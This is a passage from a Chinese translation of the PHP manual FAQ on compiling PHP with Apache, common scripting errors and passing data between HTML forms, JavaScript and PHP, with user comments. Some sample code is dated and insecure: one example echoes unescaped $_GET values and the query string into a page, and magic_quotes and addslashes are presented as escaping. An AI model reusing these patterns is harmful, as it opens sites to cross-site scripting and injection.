  • 你现在应该有一个包括 PHP 支持的 httpd 可执行程序了！

注意：也可以用新的 Apache ./configure 脚本。参见 Apache 发行包中 README.configure 文件中的说明。也看看 PHP 发行包中的 INSTALL 文件。

10. 我按照所有的步骤在 UNIX 下安装了PHP 的 Apache 模块版本，但我的 PHP 脚本被显示在浏览器中或者提示保存此文件。

这说明 PHP 模块出于某些原因没有被调用。在寻求更多帮助前先检查三件事：

  • 确认你运行的 httpd 程序就是你刚刚编译的新 httpd 程序。运行： /path/to/binary/httpd -l

    如果你没看到 mod_php4.c 被列出来那你就没有运行对程序。找到并正确安装程序。

  • 确认你在 Apache .conf 文件中加入了正确的 Mime 类型。应该是： AddType application/x-httpd-php3 .php3（PHP 3）

    或者 AddType application/x-httpd-php .php（PHP 4）

    也确认 AddType 这一行没有隐藏在 <Virtualhost> 或者 <Directory> 块中，这可能会造成你的测试脚本所在位置没有被应用到此设置。

  • 最后，Apache 1.2 和 Apache 1.3 之间默认配置文件的位置改变了。你要确认你添加 AddType 行的文件就是实际上用的。你可以在你的 httpd.conf 中添加一个明显的语法错误或者其它明显修改，这可以告诉你是否读取了正确的文件。

11. 说要用：--activate-module=src/modules/php4/libphp4.a，但是此文件根本不存在，于是我改成了 --activate-module=src/modules/php4/libmodphp4.a，结果不行。怎么回事？

注意 libphp4.a 文件本来就不该存在，apache 进程将创建它！

12. 当我用 --activate-module=src/modules/php4/libphp4.a 试着把 PHP 编译成 Apache 的静态模块时，报告说我的编译器不服从 ANSI 标准。

这是一个 Apache 误报的错误信息，在新的版本中已经修正了。

13. 当我用 --with-apxs 编译 PHP 时得到奇怪的错误信息。

这里要检查三件事。首先，出于某些原因当 Apache 生成 apxs Perl 脚本时，有时没有正确的编译和标记变量就结束了。找到你的 apxs 脚本（用命令 which apxs），有时会在 /usr/local/apache/bin/apxs 或者 /usr/sbin/apxs。打开并检查类似如下的行：
my $CFG_CFLAGS_SHLIB  = ' ';          # substituted via Makefile.tmpl
my $CFG_LD_SHLIB      = ' ';          # substituted via Makefile.tmpl
my $CFG_LDFLAGS_SHLIB = ' ';          # substituted via Makefile.tmpl
如果你看到这几行，那问题就在这里。它们可能包含了仅仅空格或者其它不正确的值，例如“q()”。改成这样：
my $CFG_CFLAGS_SHLIB  = '-fpic -DSHARED_MODULE'; # substituted via Makefile.tmpl
my $CFG_LD_SHLIB      = 'gcc';                   # substituted via Makefile.tmpl
my $CFG_LDFLAGS_SHLIB = q(-shared);              # substituted via Makefile.tmpl
第二个可能的问题仅可能在在 Red Hat 6.1 和 6.2 中发生。Red Hat 发行的 apxs 脚本坏了。查找这一行：
my $CFG_LIBEXECDIR    = 'modules';         # substituted via APACI install
如果你看到上面这一行，改成这样：
my $CFG_LIBEXECDIR    = '/usr/lib/apache'; # substituted via APACI install
最后，如果你重新配置或者重装了 Apache，在 ./configure 之后和 make 之前增加一个 make clean 命令。

14. 在 make 的过程中，在 microtime 中出错，还有很多 RUSAGE_ 之类的东西。

如果 make 时遇到类似这样的问题：
microtime.c: In function `php_if_getrusage':
microtime.c:94: storage size of `usg' isn't known
microtime.c:97: `RUSAGE_SELF' undeclared (first use in this function)
microtime.c:97: (Each undeclared identifier is reported only once
microtime.c:97: for each function it appears in.)
microtime.c:103: `RUSAGE_CHILDREN' undeclared (first use in this function)
make[3]: *** [microtime.lo] Error 1
make[3]: Leaving directory `/home/master/php-4.0.1/ext/standard'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/home/master/php-4.0.1/ext/standard'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/master/php-4.0.1/ext'
make: *** [all-recursive] Error 1

你的系统坏了。你需要安装一个符合你的 glibc 的 glibc-devel 包来修复 /usr/include 中的文件。这和 PHP 绝对没有任何关系。要证实这一点，试试这个简单的测试：
$ cat >test.c <<X
#include <sys/resource.h>
X
$ gcc -E test.c >/dev/null
如果出现错误，那你就知道头文件坏了。

15. 当带 MySQL 编译 PHP 时，可以正确地运行配置，但是在 make 的过程中出现了类似以下的错误信息： ext/mysql/libmysql/my_tempnam.o(.text+0x46): In function my_tempnam': /php4/ext/mysql/libmysql/my_tempnam.c:103: the use of tempnam' is dangerous, better use mkstemp'，这是怎么回事

首先，我们需要认识到这只是个警告，而非致命错误。由于这条信息通常是在 make 的最后输出的，所以看起来它可能像是一个致命错误，但实际上不是。当然，如果将编译器设置成遇见警告信息时停止，则这也可以算是致命错误。另外值得一提的是，MySQL 的支持是默认打开的。

注: 自 PHP 4.3.2 起，你将在编译（make）结束后看到下面的文字：

Build complete.
        (It is safe to ignore warnings about tempnam and tmpnam).

16. 我想升级我的 PHP。上哪里找到我用来配置目前的 PHP 的 ./configure 的参数呢？

要么在你当前的 PHP 的安装目录查看 config.nice 文件，如果没有，只要运行此脚本：
<?php phpinfo(); ?>
在输出的顶端显示了用来配置此 PHP 的 ./configure 参数。

17. 和 GD 库一起编译 PHP 时，要么给出一个奇怪的编译错误，要么在运行时出现 segfaults。

确保你的 GD 库和 PHP 在连接时使用了用同样的支持库（例如 libpng）。

18. 当编译 PHP 时我看到一些随机的错误，好像死了。我用的是 Solaris，不知道有没有关系。

当编译 PHP 时使用非 GNU 的工具会导致问题。确保使用 GNU 工具来确保能够正确编译 PHP。例如，在 Solaris 下面不论使用 SunOS BSD 兼容或者 Solaris 版本的 sed 都不行，但是使用 GNU 或者 Sun POSIX (xpg4) 版本的 sed 就可以。相关连接：GNU sed，GNU flex，GNU bison。

add a note add a note User Contributed Notes
chris dot good at NOSPAM dot infor dot com
10-May-2006 03:12
Re Solaris
I was able to compile PHP 5.0.4 under Solaris 2.6 but I had to use gcc to do it. The source is not compatible with the Solaris C preprocessor. I did not have to install any of the gnu utilities (like sed etc) to get it to compile. It clean compiled & linked immediately using gcc 3.3.2.
timothy at imail dot ru
02-May-2006 10:24
Note on PHP5 setup under RedHat 7

Sometimes php5 fails to build with the following message:

[root@www bin]# ./php5
./php5: error while loading shared libraries: unexpected reloc type 0x80

Below is the configure script used:

# PHP5 CLI build, CGI/SAPI disabled
# Created by configure

'./configure' \
'--enable-libxml' \
'--with-mysql=/path_to_mysql' \
'--with-libxml=/path_to_my_libxml' \
'--program-suffix=5' \
'--disable-cgi' \
"$@"

I used the following trick to get round this:

0. If it is not a clean installation, run 'make clean' to get rid of improperly compiled files

1. run ./configure with required options
2. edit makefile:
2.1 find any LDFLAGS or PROGRAM_LDFLAGS definition
2.2 append -lstdc++ to the end of it
3. Run 'make'
4. Run 'make install'
5. Enjoy!!!
anca-phpdoc at anca dot tv
09-Dec-2005 11:48
For the configure newbies among us:

If you update or reinstall any of the libraries used to compile in a different directory than they started out, you will need to make sure that you update the config.cache file (or re-generate it) so that configure will not look in the wrong place for the information.

On Mac OS X, for example, I updated my libxml using Fink.  Fink placed the files in the /sw directory.  However, php was still looking for important libxml files (such as xml2-config) in the old directory (/usr/bin/xml2-config).  After updating config.cache with the new value of the xml2-config path, I was able to compile correctly.
datemplar at freePotatoes dot fr
04-Oct-2005 08:15
If the option --with-apsx2=/path/to/apxs seems to have absolutely no effect and if the configure script ignores the Apache 2.x support, try to shutdown your Apache server (/path/to/bin/apachectl stop) and retry.

It worked here.
didier b.
07-Aug-2005 07:52
I post here because I was unable to find the information on the web.
I hope it will help someone.

Let say you have 2 apache ruuning, on one you want to have disable_functions set and on the other one you don't.

In fact I have (one) solution compiling two differents php modules with differents path to php.ini

using :
--with-config-file-path=/etc/php5  (for the first one)
--with-config-file-path=/etc/php5.nonchroote (for the second one)

for the second one I do not use "make install" but just
"cp .libs/libphp5.so /usr/lib/apache/1.3/libphp5.nonchroote.so"

Then you have to change the
LoadModule php5_module        /usr/lib/apache/1.3/libphp5.nonchroote.so in the second httpd.conf
brad at computechnv dot com
08-Apr-2005 06:07
My problem was actually with mod_dav (which referred me here). Since they took the time to point people here, I thought I'd go ahead and add my two cents worth and expand on the above since it obviously affects PHP as well. I am running Fedora Core 3, Apache 2.0.53, & PHP 5.03. Apache and PHP were built from source.

The first suggestion in section 13 above was close, but not exactly what I needed. jimsteele's suggestion would have worked, but you would have to do it every time you use APXS. What I did was copy these lines:

my $CFG_CFLAGS_SHLIB  = '-fpic -DSHARED_MODULE';
my $CFG_LD_SHLIB      = 'gcc';
my $CFG_LDFLAGS_SHLIB = q(-shared);

and pasted them in the configuration section of my apxs file. Worked like a champ.
dl927 at torfree dot net
12-Feb-2004 01:17
Compiling mod_php4 port on a clean freeBSD 4.8 install for Apache2 needed FOR_APACHE2= yes manually inserted into Makefile prior to version check.
dale at botkin dot org
05-Nov-2002 06:20
If you have customized your Apache to lie about its version number, you may need to edit configure to skip the version number check.  Just /APACHE_VERSION in configure to find the instance(s) where configure checks to make sure you have the right combination of --with-apxs or --with_apxs2 and Apache 1.3 or 2.0.  Assuming you're smart enough to remember which version of Apache you have, you can just delete or comment out the version check and continue to march.
jimsteele at nospam dot com
15-Oct-2001 04:43
Defining the right environment variables for my Apache "make" invocation allowed the correct "apxs" file to be generated for me.  Your mileage may vary.

cd ../apache_1.3.22
CFLAGS_SHLIB="-fpic -DSHARED_MODULE" \
  LD_SHLIB=gcc \
  LDFLAGS_MOD_SHLIB="-shared" \
  make
add a note add a note

后退 | 起点 | 前进
安装常见问题 | 上一级 | 使用 PHP


使用 PHP

PHP 手册
后退 前进

章 53. 使用 PHP

本节汇集了你在写 PHP 脚本时可能碰到的大多数普通错误。

1. 我想写一个可以处理任何表单来的数据的通用 PHP 脚本。我怎么知道哪个 POST 方法变量可用呢？
2. 我需要在所有的单引号（'）前加一个反斜线（\），使它们变成（\'），我如何能够通过正则表达式来实现？我同样希望能够将（"）转换成（\"），将（\）转换成（\\）。
3. 我所有的（"）和（'）都被变成了（\"）和（\'），我如何才能去掉这些不必要的反斜线？它们为什么及如何出现？
4. 当我这样做时，输出显示的次序是错的：
<?php
function myfunc($argument)
{
    echo $argument + 10;
}
$variable = 10;
echo "myfunc($variable) = " . myfunc($variable);
?>
这是怎么回事？
5. 下面代码怎么没有分成两行显示？
<pre>
<?php echo "This should be the first line."; ?>
<?php echo "This should show up after the new line above."; ?>
</pre>
6. 我得到消息“Warning: Cannot send session cookie - headers already sent...”或者“Cannot add header information - headers already sent...”。
7. 我需要直接访问请求报头中的信息，怎么能办到？
8. 当我用 IIS 进行 HTTP 认证时得到“No Input file specified”消息。
9. Windows：不能访问另一台电脑上用 IIS 共享的文件。
10. 我的 PHP 脚本在 IE 和 Lynx 下能工作，但是在 Netscape 中有的输出丢失了。当我用“查看源文件”时可以在 IE 中看到内容，但是 Netscape 中不能。
11. 我怎样混合使用 XML 和 PHP？它不认我的 <?xml 标记！
12. 怎样用 FrontPage 或者其它非要把我的代码移来移去的 HTML 编辑器来编辑 PHP？
13. 哪里可以找到所有可用的 PHP 预定义变量的完整列表？
14. 怎样才能不用非免费的商业库 ClibPDF 和 PDFLib 来生成 PDF 文档？我想要个免费的并且不需要再连接别的 PDF 库。
15. 我试着在用户自定义函数中访问一个标准的 CGI 变量（例如 $DOCUMENT_ROOT 或 $HTTP_REFERER），但是找不到，哪里出了错？
16. 有些 PHP　选项可以接受缩写的字节值，与仅能接受 integer 字节值相反。都有哪些缩写字节值？可以将其用于 php.ini 之外吗？

1. 我想写一个可以处理任何表单来的数据的通用 PHP 脚本。我怎么知道哪个 POST 方法变量可用呢？

PHP 提供很多“预定义变量”，例如超全局变量 $_POST。可以遍历 $_POST 变量，因为它是一个和所有通过 POST 方法传递数据相联系的数组。例如，可以用 foreach 简单地遍历它，检查 empty() 值，以及将它们输出。
<?php
$empty = $post = array();
foreach ($_POST as $varname => $varvalue) {
    if (empty($varvalue)) {
        $empty[$varname] = $varvalue;
    } else {
        $post[$varname] = $varvalue;
    }
}

print "<pre>";
if (empty($empty)) {
    print "None of the POSTed values are empty, posted:\n";
    var_dump($post);
} else {
    print "We have " . count($empty) . " empty values\n";
    print "Posted:\n"; var_dump($post);
    print "Empty:\n";  var_dump($empty);
    exit;
}
?>

Superglobals 可用性说明: 自 PHP 4.1.0 起，可以使用超全局数组变量例如 $_GET，$_POST 和 $_SERVER 等等。更多信息请阅读手册中的 superglobals。

2. 我需要在所有的单引号（'）前加一个反斜线（\），使它们变成（\'），我如何能够通过正则表达式来实现？我同样希望能够将（"）转换成（\"），将（\）转换成（\\）。

函数 addslashes() 能够实现这种操作。请参阅函数
mysql_escape_string()。另外，还可以用函数
stripslashes() 来去掉反斜线。

magic_quotes_gpc 设置选项说明: PHP 的设置选项 magic_quotes_gpc 的默认值为 on。这相当于自动对所有的 GET、POST、COOKIE 数据使用了 addslashes() 函数。可以用 stripslashes() 函数来去掉它们。

3. 我所有的（"）和（'）都被变成了（\"）和（\'），我如何才能去掉这些不必要的反斜线？它们为什么及如何出现？

PHP 函数 stripslashes() 能够从 string 中去掉所有的反斜线。这些反斜线出现最有可能的原因是 PHP 设置项 magic_quotes_gpc 被开启。

magic_quotes_gpc 设置选项说明: PHP 的设置选项 magic_quotes_gpc 的默认值为 on。这相当于自动对所有的 GET、POST、COOKIE 数据使用了 addslashes() 函数。可以用 stripslashes() 函数来去掉它们。

4. 当我这样做时，输出显示的次序是错的：
<?php
function myfunc($argument)
{
    echo $argument + 10;
}
$variable = 10;
echo "myfunc($variable) = " . myfunc($variable);
?>
这是怎么回事？

要在一个表达式中（例如在上面的例子中和其它字符串连接）使用函数的结果，需要 return() 这个值，而不是 echo() 它。

5. 下面代码怎么没有分成两行显示？
<pre>
<?php echo "This should be the first line."; ?>
<?php echo "This should show up after the new line above."; ?>
</pre>

在 PHP 中，一段代码的结束标记要么是“?>”要么是“?>\n”（\n 表示换行）。因此在上面的例子中，输出的句子将显示在同一行中，因为 PHP 忽略了代码结束标记后面的换行。这意味着如果要输出一个换行符，需要在每段 PHP 代码的结束标记后面多加一个换行。

PHP 为什么这么做呢？因为在格式化正常的 HTML 时，这样通常会更容易。假如输出了换行而你不需要这个换行时，就不得不用一个非常长的行来达到这样的效果，或者让产生的 HTML 页面的源文件的格式很难读。

6. 我得到消息“Warning: Cannot send session cookie - headers already sent...”或者“Cannot add header information - headers already sent...”。

函数 header()，setcookie() 和 session 函数需要在输出流中添加头信息。但是头信息只能在其它任何输出内容之前发送。在使用这些函数前不能有任何（如 HTML）的输出。函数 headers_sent() 能够检查脚本是否已经发送了头信息。请参阅输出控制函数。

7. 我需要直接访问请求报头中的信息，怎么能办到？

如果以 Apache 的模块方式运行 PHP，那么函数 getallheaders() 可以做这件事。因此下面的代码可以显示所有的请求报头：
<?php
$headers = getallheaders();
foreach ($headers as $name => $content) {
    echo "headers[$name] = $content<br />\n";
}
?>

请参阅函数 apache_lookup_uri()、apache_response_headers() 和 fsockopen()。

8. 当我用 IIS 进行 HTTP 认证时得到“No Input file specified”消息。

IIS 的安全模型这里有毛病。这是所有 IIS 下运行的 CGI 程序所共有的问题。一个解决办法是建立一个纯 HTML 文件（不经过 PHP 解析）作为要进入认证目录的登录页面，然后用 META 标记来重定向到 PHP 页面，或者用一个连接到 PHP 页面。然后 PHP 就可以正确识别认证信息了。如果是用 ISAPI 模块，那没有这个问题。其它 NT 下的 web 服务器不受此影响。更多信息见 http://support.microsoft.com/kb/q160422/及 HTTP 认证一章。

9. Windows：不能访问另一台电脑上用 IIS 共享的文件。

必须要做些修改。打开 Internet 信息服务，找到你的 PHP 文件并打开属性页，选择文件安全性标签，点击匿名访问和身份验证控制的“编辑”按钮。

解决此问题有两个方法，一是不要选中匿名访问并且选中集成 Windows 身份验证，二是选中匿名访问并编辑匿名访问使用的帐户，改成一个有权限的。

10. 我的 PHP 脚本在 IE 和 Lynx 下能工作，但是在 Netscape 中有的输出丢失了。当我用“查看源文件”时可以在 IE 中看到内容，但是 Netscape 中不能。

Netscape 在关于 HTML 标记（例如 table）上比 IE 更严格。用一个 HTML 验证器，例如 validator.w3.org 来验证你的 HTML 输出可能会有帮助。例如漏了 </table> 可能会导致这样的结果。

同样，IE 和 Lynx 都忽略了 HTML 流中的任何 NULs（\0），Netscape 就不。最好的检查方法是编译 PHP 的命令行模式版本（也称为 CGI 版本）并从命令行运行你的脚本。在 *nix 中，用管道传递到 od -c 并查看任何 \0 字符。如果在 Windows 下你需要能够查看二进制文件格式的编辑器或程序。当 Netscape 碰到 NUL 时就不会输出之后该行的任何内容而 IE 和 Lynx 都会。

11. 我怎样混合使用 XML 和 PHP？它不认我的 <?xml 标记！

要能够在 PHP 代码中直接嵌入 <?xml，需要将 PHP 设置项 short_open_tags 设置为 0 以关闭短标记格式。无法通过函数 ini_set() 来更改这项设置。不管 short_open_tags 是开或者关，都可以用类似于 <?php echo '<?xml'; ?> 的方法达到目的。该项设置的默认值为开。

12. 怎样用 FrontPage 或者其它非要把我的代码移来移去的 HTML 编辑器来编辑 PHP？

最简单的方法是让 PHP 代码也能使用 ASP 标记。这可以让你用 ASP 风格的 <% 和 %> 代码定界符。一些流行的 HTML 编辑器在处理此格式上更加智能化一些（目前如此）。要使用 ASP 风格的标记，需要在 php.ini 中打开 asp_tags，或者用相应的 Apache 配置选项。

13. 哪里可以找到所有可用的 PHP 预定义变量的完整列表？

请阅读手册中的预定义变量一章，该部分的文档已经包含了一部分可以用于你的脚本的预定义变量的列表。可用变量的完整列表（及更多信息）可以通过调用 phpinfo() 函数来查阅。请务必阅读手册中来自 PHP 之外的变量一节，这部分文档阐述了外部变量的概念，例如来自 HTML 表单、Cookie 和 URL 的变量。

register_globals 重要说明: 自 PHP 4.2.0 起，PHP 中的选项 register_globals 的默认值被设为 off。PHP 社区鼓励大家不要依赖于这个选项，用其它方法替代，例如superglobals。

14. 怎样才能不用非免费的商业库 ClibPDF 和 PDFLib 来生成 PDF 文档？我想要个免费的并且不需要再连接别的 PDF 库。

有几个选择，例如 http://www.ros.co.nz/pdf/，http://www.fpdf.org/，http://www.gnuvox.com/pdf4php/ 和 http://www.potentialtech.com/ppl.php。还有一个 Panda 模块。

15. 我试着在用户自定义函数中访问一个标准的 CGI 变量（例如 $DOCUMENT_ROOT 或 $HTTP_REFERER），但是找不到，哪里出了错？

首先非常重要的一点是 PHP 设置项 register_globals 同样会对服务器端和环境变量产生影响。当 register_globals = off （从 PHP 4.2.0 开始其默认值为 off），变量 $DOCUMENT_ROOT 将不会存在，而只有 $_SERVER['DOCUMENT_ROOT']。如果 register_globals = on 则变量 $DOCUMENT_ROOT 和 $GLOBALS['DOCUMENT_ROOT'] 将同时存在。

如果确认 register_globals = on 但不知道为什么 $DOCUMENT_ROOT 在函数内部不可用，这是因为它和其它的变量一样需要在函数中执行 global $DOCUMENT_ROOT。请参阅手册中的变量范围一节。建议在 register_globals = off 的情况下进行编码。

Superglobals 可用性说明: 自 PHP 4.1.0 起，可以使用超全局数组变量例如 $_GET，$_POST 和 $_SERVER 等等。更多信息请阅读手册中的 superglobals。

16. 有些 PHP　选项可以接受缩写的字节值，与仅能接受 integer 字节值相反。都有哪些缩写字节值？可以将其用于 php.ini 之外吗？

可用的选择有 K（对应 Kilobytes），M（对应 Megabytes）和 G（对应 Gigabytes；自 PHP 5.1.0 起可用），区分大小写。其余的都认为是字节。1M 等于一个 Megabyte，即 1048576 字节。1K 等于一个 Kilobyte，即 1024 字节。不能在 php.ini 之外使用这些符号，最好用整数的 integer 字节值。参见 ini_get() 文档中的转换示例。

add a note add a note User Contributed Notes
oldcheesemonkey at yahoo dot com
20-Jan-2006 04:54
In reference to faq.using:
6.  I get the message 'Warning: Cannot send session cookie - headers already sent...' or 'Cannot add header information - headers already sent...'.

This can be caused by starting a session and then calling a class function in a php file that has any whitespace either before the very first or after the very last php tags <?php  and ?>.
Make sure there is NO whitespace before the initial tag and after the closing tag.
add a note add a note

后退 | 起点 | 前进
编译问题 | 上一级 | PHP 和 HTML


PHP 和 HTML

PHP 手册
后退 前进

章 54. PHP 和 HTML

PHP 和 HTML 有很多相互作用：PHP 能生成 HTML，HTML 可以向 PHP 传递信息。在阅读这些常见问题之前，先学会怎样从 PHP 之外取得变量很重要。此主题的手册页也包括很多例子。还要仔细留意 register_globals 对你意味着什么。

1. 当我通过表单／URL 传值时需要用什么编码／解码方法？
2. 我在试用 <input type="image"> 标记，但是没有 $foo.x 和 $foo.y 变量，它们哪去了？
3. 怎样在 HTML 的 <form> 中建立数组？
4. 怎样从可多选的 HTML 的 select multiple 标记中得到所有结果？
5. 怎样从 Javascript 传递一个变量到 PHP？

1. 当我通过表单／URL 传值时需要用什么编码／解码方法？

在几个环节上编码方式很重要。假定有 string $data，其中包含了想通过非编码方式传递的字符串，那这是相关步骤：

  • HTML 解析。要指定一个任意的字符串，必须将其放在双引号中，并用 htmlspecialchars() 处理整个值。

  • URL：URL 由几部分组成。如果希望自己的数据被当作其中一项来解释，必须用 urlencode() 对其编码。

例子 54-1. 隐藏的 HTML 表单单元

<?php
    echo "<input type='hidden' value='" . htmlspecialchars($data) . "' />\n";
?>

注: 用 urlencode() 来处理 $data 是错误的，因为是浏览器的责任来 urlencode() 数据。所有流行的浏览器都能正确处理。注意不论何种方法（例如 GET 或 POST）都会这样。不过只会在用 GET 请求时注意到这一点，因为 POST 请求通常是隐藏的。

例子 54-2. 等待用户编辑的数据

<?php
    echo "<textarea name='mydata'>\n";
    echo htmlspecialchars($data)."\n";
    echo "</textarea>";
?>

注: 数据会按照预期的显示在浏览器中，因为浏览器会解释 HTML 转义符号。

当提交时，不论是 GET 或者 POST 方法，数据都会被浏览器进行 urlencode 来传输，并直接被 PHP urldecode。所以最终不需要自己处理任何 urlencoding/urldecoding，全都是自动处理的。

例子 54-3. URL 中的例子

<?php
    echo "<a href='" . htmlspecialchars("/nextpage.php?stage=23&data=" .
        urlencode($data)) . "'>\n";
?>

注: 事实上这在编造一个 HTML 的 GET 请求，因此需要手工对数据进行 urlencode()。

注: 需要对整个 URL 进行 htmlspecialchars()，因为 URL 是作为 HTML 属性的一个值出现的。在本例中，浏览器会首先对值进行 un-htmlspecialchars()，然后再传递此 URL。PHP 将能正确理解 URL，因为对数据进行了 urlencoded()。

要注意到 URL 中的 & 被替换成了 &amp;。如果忘了这一步，尽管大多数浏览器都能恢复，但也不总是这样。因此即使 URL 不是动态的，也需要对 URL 进行 htmlspecialchars()。

2. 我在试用 <input type="image"> 标记，但是没有 $foo.x 和 $foo.y 变量，它们哪去了？

当提交表单时，可以用图片代替标准的提交按钮，用类似这样的标记：
<input type="image" src="image.gif" name="foo" />
当用户点击了图片的任何部分，该表单会被发送到服务器并加上两个额外的变量：foo.x 和 foo.y。

因为 foo.x 和 foo.y 在 PHP 中会成为非法的变量名，它们被自动转换成了 foo_x 和 foo_y。也就是用下划线代替了点。因此，可以按照在来自 PHP 之外的变量这一节中说明的那样访问这些变量。例如，$_GET['foo_x']。

注: 请求变量名中的空格被转换为下划线。

3. 怎样在 HTML 的 <form> 中建立数组？

要使你的 <form> 结果被当成 array 发送到 PHP 脚本，要对 <input>，<select> 或者 <textarea> 单元这样命名：
<input name="MyArray[]" />
<input name="MyArray[]" />
<input name="MyArray[]" />
<input name="MyArray[]" />
注意变量名后的方括号，这使其成为一个数组。可以通过给不同的单元分配相同的名字来把单元分组到不同的数组里：
<input name="MyArray[]" />
<input name="MyArray[]" />
<input name="MyOtherArray[]" />
<input name="MyOtherArray[]" />
这将产生两个数组，MyArray 和 MyOtherArray，并发送给 PHP 脚本。还可以给数组分配指定的键名：
<input name="AnotherArray[]" />
<input name="AnotherArray[]" />
<input name="AnotherArray[email]" />
<input name="AnotherArray[phone]" />
AnotherArray 数组将包含键名 0，1，email 和 phone。

注: 指定数组的键名是 HTML 的可选项。如果不指定键名，则数组被按照单元在表单中出现的顺序填充。第一个例子将包含键名 0，1，2 和 3。

参见数组函数和来自 PHP 之外的变量。

4. 怎样从可多选的 HTML 的 select multiple 标记中得到所有结果？

可多选的 select multiple 标记是 HTML 的一个构造，允许用户从一个列表中选择多个项目。这些项目接着被传递给该表单 action 中指定的处理程序。问题是它们都会被用同样的名字传递。例如：
<select name="var" multiple="yes">
每个被选项将这样被传递到表单处理程序：
var=option1
var=option2
var=option3
每个选项将覆盖前面一个 $var 变量的内容。解决方案是用 PHP 的“表单单元数组”特性。使用方法如下：
<select name="var[]" multiple="yes">
这将告诉 PHP 将 $var 当成数组对待，每个对 var[] 的赋值都会给数组增加一项。第一项将成为 $var[0]，下一个是 $var[1]，等等。可以用 count() 函数来测定选择了多少个项目，必要时可以用 sort() 函数来对选项的数组进行排序。

注意如果在 JavaScript 中通过名字来引用单元，单元名字中的 [] 可能会造成问题。用表单单元中的数字序号来替代，或者将变量名用单引号括起来并用其作为单元数组的索引，例如：
variable = documents.forms[0].elements['var[]'];

5. 怎样从 Javascript 传递一个变量到 PHP？

由于 Javascript （通常情况下）是客户端技术，而 PHP （通常情况下）是服务器端技术，而且 HTTP 是一种“无状态”协议，因此两种语言之间不能直接共享变量。

但是，有可能在二者之间传递变量。一种实现的方法是用 PHP 生成 Javascript 代码，并让浏览器自动刷新，将特定的变量传递回 PHP 脚本。以下例子显示了如何这样做――让 PHP 代码取得显示屏幕的高度和宽度，通常只能在客户端这么做。

<?php
if (isset($_GET['width']) AND isset($_GET['height'])) {
  // output the geometry variables
  echo "Screen width is: ". $_GET['width'] ."<br />\n";
  echo "Screen height is: ". $_GET['height'] ."<br />\n";
} else {
  // pass the geometry variables
  // (preserve the original query string
  //   -- post variables will need to handled differently)

  echo "<script language='javascript'>\n";
  echo "  location.href=\"${_SERVER['SCRIPT_NAME']}?${_SERVER['QUERY_STRING']}"
            . "&width=\" + screen.width + \"&height=\" + screen.height;\n";
  echo "</script>\n";
  exit();
}
?>

add a note add a note User Contributed Notes
Torsten
23-Feb-2006 06:30
Section C.8 of the XHTML spec's compatability guidelines apply to the use of the name attribute as a fragment identifier.  If you check the DTD you'll find that the 'name' attribute is still defined as CDATA for form elements.
jetboy
30-Dec-2005 11:06
While previous notes stating that square brackets in the name attribute are valid in HTML 4 are correct, according to this:

http://www.w3.org/TR/xhtml1/#C_8

the type of the name attribute has been changed in XHTML 1.0, meaning that square brackets in XHTML's name attribute are not valid.

Regardless, at the time of writing, the W3C's validator doesn't pick this up on a XHTML document.
FatalError
30-Dec-2005 06:29
Actually, you can pass variables between JavaScript and PHP without even refreshing the page. To do this, you have to use AJAX, which is what dmsuperman at comcast dot net was showing in that example.
tms at infamous dot net
23-Nov-2005 10:23
Regarding drane's claim that square brackets ([]) in form input elements (as PHP uses for arrays in forms) are invalid HTML: the NAME attribute of an input element is CDATA, not NAME or ID.

Square brackets are allowed in CDATA, no problem.

(Link is mangled because it's too long:

http://www.w3.org/TR/1999/REC-html401-19991224/ interact/forms.html#h-17.4
rybasso
07-Oct-2005 05:19
If U wish to build POST request depend on form which contains select-multiple use the following js code:

var id = theForm.elements[e].id;

if (theForm.elements[e].type=='select-multiple') {
               for (f=0;f<theForm.elements[e].length;f++) {
                   if(theForm.elements[e].options[f].selected==true)
                         qs+= id+'['+f+']='+escape(theForm.elements[e].options[f].value);
                         qs+=(qs=='')?'':'&';
               }
           }
dmsuperman at comcast dot net
11-Sep-2005 12:05
Here's a great way to pass JavaScript to PHP without even leaving the page:

<script type="text/javascript">
<!--

function xmlreq(){
  if(window.XMLHttpRequest){
   req = new XMLHttpRequest();
  }else if(window.ActiveXObject){
   req = new ActiveXObject("Microsoft.XMLHTTP");
  }
  return(req);
}
function sendPhp(url){
  var req = xmlreq();
  req.onreadystatechange = stateHandler;
  req.open("GET", url, true);
  req.send(null);
}

sendPhp("updatedatabase.php?username=blah&displayname=whatever");
//-->
</script>
fuchs at michaelfuchs dot org
09-Aug-2005 03:54
Here's a new one, which might cause problems for people:

To make my multiple select box contents accessible to both PHP and JavaScript (using getElementById()), I was using both name and id attributes - and naming them the same, for consistency:

<select multiple="multiple" id="bob[]" name="bob[]">

However, I've discovered that - for reasons unknown - using the brackets in the id causes only a single value (rather than multiple values) to get returned to the $_POST['bob'] array. What you want is:

<select multiple="multiple" id="bob" name="bob[]">

Hope this saves some time/frustration.
fib at affordit dot fr
13-Jul-2005 10:26
I was working on a small interface for a client and he wanted a template to be generated dynamically. The issue came up when I had to retrieve the values for an array of text variables. I couldn't find any tutorial to help me out so after a few investigations this is how I made it work:

<?php

  $line_class=array();
  $line_item=array();

   for ($i=$rows_number;$i>0;$i--)
     {
       $line_class[$i]=$_POST['line_class'.$i.''];
       $line_item[$i]=$_POST['line_item'.$i.''];
     }

?>

 Hope this helps someone ... at least they will do the job sooner than I did :D.
levinb at cs dot rpi dot edu
17-Jun-2005 12:17
Well, I was working on this one project, on the assumption that I could get the values of all elements with the same name from an appropriately named array.  Well, I was *very* disappointed when I couldn't, so I made it so I did anyway.

The following script should convert the raw post data to a $_POST variable, with form data from SELECT elements and their ilk being transformed into an array.  It's heavily unoptimized, and I probably missed something, but it's relatively easy to read.  I welcome corrections.

<?php

if ($_POST) {
       $postdata = file_get_contents('php://input');

       $uglybugger = '/(?<=&)([^&=]+)(?:=([^&]*))/';
       $matches = array();

       preg_match_all($uglybugger, $postdata, $matches);

       $_POST = array();

       $match_count = count($matches[0]);
       for ($i = 0; $i < $match_count; $i++) {
               if (!isset($_POST[$matches[1][$i]])) {
                       $_POST[$matches[1][$i]] = array();
               }
               $_POST[$matches[1][$i]][] = $matches[2][$i];
       }
       $match_count = count($_POST);
       for ($i = 0; $i < $match_count; $i++) {
               if (count($_POST[$i]) == 1) {
                       $_POST[$i] = $_POST[$i][0];
               }
       }
}

?>
lyricnz
26-May-2005 08:28
I'm surprised this is not a language function, but PHP should be able to deal with repeated values in parsing a HTTP URL.  (eg: ?foo=1&foo=2).  In the meantime you can use something like:

function getQueryBits($query,$getkey) {
  $results = array();
  foreach (split('&',$query) as $bit) {
   @list($key,$value) = split('=',$bit);
